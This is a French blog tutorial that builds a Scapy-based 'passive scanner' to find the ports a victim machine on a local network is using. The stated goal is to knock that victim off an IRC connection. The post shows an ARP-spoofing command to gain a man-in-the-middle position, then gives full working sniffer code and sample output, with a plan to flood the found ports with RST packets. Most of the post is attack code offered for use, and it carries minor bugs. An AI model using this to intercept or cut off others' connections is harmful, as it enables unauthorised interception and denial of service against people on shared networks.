Réalisation d'un scanner passif

Publié le par Satellite

Nous allons tenter de réaliser un scanner passif (je ne sais pas si le terme est correct mais on se passera de telles broutilles). Le principe est simple :
Un scanneur de ports sert à detecter les ports ouverts. Il envoie (en général) une demande de connection SYN et, si la cible répond SYN ACK, il en conclut que la cible dispose d'un serveur écoutant ce port. Cette information est utile pour une attaque de serveur, mais pas pour une attaque de particulier. Je m'explique :
Un particulier utilise ses ports comme des ports clients, pas comme des ports d'écoute : il les utilise juste pour échanger des données avec le serveur. Ses ports ne repondront donc pas au test Syn car ils ne sont pas, pour la plus part. destinés à recevoir des demandes de connections,  mais plutot à en envoyer.
Maintenant supposons que je veuille déconnecter une des machines appartenant au réseau local que j'utilise. Pour faciliter la comprehension, je vais prendre un exemple (maintenant traditionnel):

Soit une machine Pigeon (192.168.1.10) [Port X] connectée via un routeur (192.168.1.1) sur le serveur IRC (1.1.1.1). Avec ma machine iZyNumeric (192.168.1.11), je vais tenter de couper leur connection. Dans l'article Tcp HiJacking, je reste vague sur ce sujet. Voici précisement comment je procede(rai) ;-):

Je fait un ARP Spoofing sur le réseau local pour détourner le flux de données et prendre position d'homme du Milieu


sudo python arp.py 192.168.1.10 192.168.1.1


Je dois flooder la cible de paquets RST sur le port utilisé pour la transmission de donnée avec le serveur IRC. Mais ce port ne répondra pas au flag Syn. Pour le trouver, je vais donc écouter les ports sur une série de trames et je vais tenter de trouver lequel est utilisé.

On commence donc par définir une fonction qui retourne le protocole utilisé par le paquet. Vous me suivez toujours ?

#-*-coding:Utf-8-*-
from scapy.all import *
import sys

def protocole(paquet):
    try:
        return paquet.proto
    except:
        return 99
      


Puis nous allons créer un sniffeur de trames pour obtenir les ports utilisés par la cible. Voici le code


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/.py <ip_cible> nombre_de_trames'
        exit(0)
    ip = sys.argv[1]
    nb = int(sys.argv[2])
    listePort = []
while i < nb:
        a = sniff(count = 1, filter = 'host ' + ip)[0]
        try:
            if a[IP].src == ip: #Si c'est la source:
                if protocole(a) == 6 and [a[TCP].sport,'TCP'] not in listePort: #TCP
                    listePort.append([a[TCP].sport,'TCP'])
                elif protocole(a) == 17 and [a[UDP].sport,'UDP'] not in listePort: #UDP
                    listePort.append([a[UDP].sport,'UDP'])
            elif a[IP].dst == ip: #Si c'est le destinataire:
                if protocole(a) == 6 and [a[TCP].dport,'TCP'] not in listePort: #TCP
                    listePort.append([a[TCP].dport,'TCP'])
                elif protocole(a) == 17 and [a[UDP].dport,'UDP'] not in listePort:
                    listePort.append([a[UDP].dport,'TCP'])
                
                    
        except:
            pass
        i = i + 1



Tout d'abord, on récupere un paquet à l'aide de a = sniff(count = 1, filter = 'host ' + ip)[0],puis nous traitons le paquet reçu a l'aide des deux conditions:
if a[IP].src == ip: #Si c'est la source:
elif a[IP].dst == ip: #Si c'est le destinataire:
On prend soin de l'encadrer dans un bloc try, except car le paquet sniffé n'est pas forcément encapsulé dans IP.
if protocole(a) == 6 and [a[TCP].sport,'TCP'] not in listePort: #TCP
                    listePort.append([a[TCP].sport,'TCP'])
Si le protocole utilisé est le numéro 6 (TCP) et donc que le couple [port,protocole] n'est pas dans la liste des résultats, on l'y ajoute. On procède de même pour le protocole UDP (numéro 17), et on réitère ces lignes si l'IP est l'IP destinatrice.
A la fin on obtient donc une liste de couples [port,protocole]. Il suffit de les afficher à l'écran:


for port,proto in listePort:
        print ' (' + proto + ')' + str(port) + ' [Exchange Detected !]'



Ainsi, le code final est :


#-*-coding:Utf-8-*-
from scapy.all import *
import sys
#--------------------------------------------------------------
#    iPsiLon Passiv Scanner
# scripted by iZy_TeH_PariaH
# 23 aout 2009
#Je ne saurai être responsable de votre utilisation de ce script
#--------------------------------------------------------------
#contact : dreamofanolife@hotmail.fr
#--------------------------------------------------------------
def protocole(paquet):
    try:
        return paquet.proto
    except:
        return 99
        

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/.py <ip_cible> nombre_de_trames'
        exit(0)
    ip = sys.argv[1]
    nb = int(sys.argv[2])
    listePort = []
    print '--- iPsilon Passiv Scanner---'
    print '--- scripted by iZy_TeH_PariaH ---'
    print '--- MitM obligatoire pour sniffer les connections réseau d\'un autre ordinateur---'
    print '--- Ecoute de ' + ip
    print '--- Nombre de trames à analyser ' + str(nb)
    print '--- Début de la récupération de trames ...'
    print '--- Please, wait...'
    i = 0
    while i < nb:
        a = sniff(count = 1, filter = 'host ' + ip)[0]
        try:
            if a[IP].src == ip: #Si c'est la source:
                if protocole(a) == 6 and [a[TCP].sport,'TCP'] not in listePort: #TCP
                    listePort.append([a[TCP].sport,'TCP'])
                elif protocole(a) == 17 and [a[UDP].sport,'UDP'] not in listePort: #UDP
                    listePort.append([a[UDP].sport,'UDP'])
            elif a[IP].dst == ip: #Si c'est le destinataire:
                if protocole(a) == 6 and [a[TCP].dport,'TCP'] not in listePort: #TCP
                    listePort.append([a[TCP].dport,'TCP'])
                elif protocole(a) == 17 and [a[UDP].dport,'UDP'] not in listePort:
                    listePort.append([a[UDP].dport,'TCP'])
                
                    
        except:
            pass
        i = i + 1
    for port,proto in listePort:
        print ' (' + proto + ')' + str(port) + ' [Exchange Detected !]'


Evident non ? Pour l'exemple, voici un scan de mon ipod quand je me connecte sur google:


root@iZyNumeriC:~# sudo python psniff.py 192.168.1.10 10
WARNING: No route found for IPv6 destination :: (no default route?)
--- iPsilon Passiv Scanner---
--- scripted by iZy_TeH_PariaH ---
--- MitM obligatoire pour sniffer les connections réseau d'un autre ordinateur---
--- Ecoute de 192.168.1.10
--- Nombre de trames à analyser 10
 (UDP)5353 [Exchange Detected !]
 (TCP)52672 [Exchange Detected !]


Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article